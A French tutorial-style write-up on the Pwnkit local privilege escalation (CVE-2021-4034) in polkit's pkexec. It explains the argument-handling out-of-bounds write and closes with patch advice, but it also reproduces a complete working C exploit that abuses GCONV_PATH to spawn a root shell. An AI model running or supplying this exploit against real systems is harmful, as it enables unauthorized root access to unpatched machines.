
Vulnérabilité d'élévation de privilèges locale (LPE) dans Polkit - Pwnkit
Découverte en 2021 mais annoncée et divulguée en janvier 2022, CVE-2021-4034 a été affectueusement nommée Pwnkit. Cependant, elle est présente dans toutes les versions du Policy Toolkit - paquet Polkit sur pratiquement tous les OS - distributions Linux. En bref, cette vulnérabilité permet à tout attaquant sans privilège d'élever verticalement son accès à l'administrateur du système.
[!IMPORTANT] Nous pouvons trouver cette vulnérabilité dans pkexec version 0.105 ou antérieure.
Même s'il s'agit d'une CVE très critique, classée avec un score CVSS de 7,8 points selon NIST.GOV, elle n'est exploitée que localement, c'est-à-dire qu'il n'est pas possible de l'exploiter à distance (accès Web).
Polkit agit comme un système d'autorisation Linux. Lorsqu'un utilisateur a peu de privilèges et doit effectuer une tâche nécessitant des privilèges élevés (admin par exemple), polkit vérifie si votre utilisateur a la permission requise.
Par exemple, avec l'utilitaire pkexec, nous pouvons appeler la fonction polkit, qui vérifie la permission et demande un mot de passe si elle n'est pas accordée. Comme dans l'exemple ci-dessous ;
Comme montré ci-dessus, la vulnérabilité Pwnkit existe dans pkexec (dans le processus de vérification des permissions). Pour cette vulnérabilité, il n'y a aucune sécurité dans le traitement des paramètres lorsque pkexec est exécuté en ligne de commande (CLI), ce qui permet à l'attaquant de manipuler l'environnement et une faille appelée "Out-of-Bounds Write" se produit.
pkexec tente d'analyser les arguments de ligne de commande que nous lui passons en utilisant une boucle for, en commençant à un index de 1 pour compenser le nom du programme et obtenir le premier argument réel. Le nom du programme est sans importance pour l'analyse des arguments, donc l'indexation est simplement décalée pour l'ignorer.
Donc si nous ne définissons aucun argument, l'index est automatiquement défini à 1.
Créons un exemple ci-dessous.
for(n=1; n < nombre_arguments; n++){
}
Si le nombre d'arguments est 0, alors 'N' n'est jamais inférieur au nombre d'arguments. Ainsi, 'N' reste égal à 1 et la boucle est complètement contournée, la boucle ne se produira pas.
Comme il n'y a pas d'arguments de ligne de commande, il n'y a pas d'argument à l'index n — à la place, le programme écrase la prochaine chose en mémoire, qui se trouve être la première valeur de la liste des variables d'environnement lorsque le programme est appelé en utilisant une fonction C appelée execve(). En d'autres termes, en passant à pkexec une liste d'arguments nulle, nous pouvons le forcer à écraser une variable d'environnement.
Il existe plusieurs façons et divers scripts Internet qui exploitent facilement cette vulnérabilité. Pour gagner du temps, nous utiliserons un script créé en C exploitant cette vulnérabilité provenant du dépôt de notre ami Arthepsy's.
Ce script exploite la variable GCONV_PATH pour inclure un objet partagé qui appelle /bin/sh en tant que root.
Arthepsy - CVE-2021-4034 - exploit.c
Avant d'exécuter le script, nous allons vérifier notre accès à l'hôte vulnérable.
Nous avons un utilisateur 1000 (pas root) et nous ne pouvons pas effectuer de fonctions d'administration spécifiques, comme useradd.
Nous avons obtenu un accès à l'utilisateur root et avons réussi à exécuter certaines fonctions comme useradd (l'erreur fait référence à un autre problème, mais nous avons pu effectuer le processus en tant que root).
Fait ✔️
Pour conclure cette exploration, nous pouvons jeter un coup d'œil rapide au script d'exploit ci-dessous ;
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
Il exploite essentiellement les arguments de pkexec commentés précédemment et réécrit la variable d'environnement GCONV_PATH avec /bin/sh en définissant stuid(0) (root).
Des versions corrigées sont déjà disponibles dans le package OS lui-même ; en exécutant simplement les commandes sudo apt update && sudo apt upgrade, il est déjà possible de corriger ce problème sur votre système.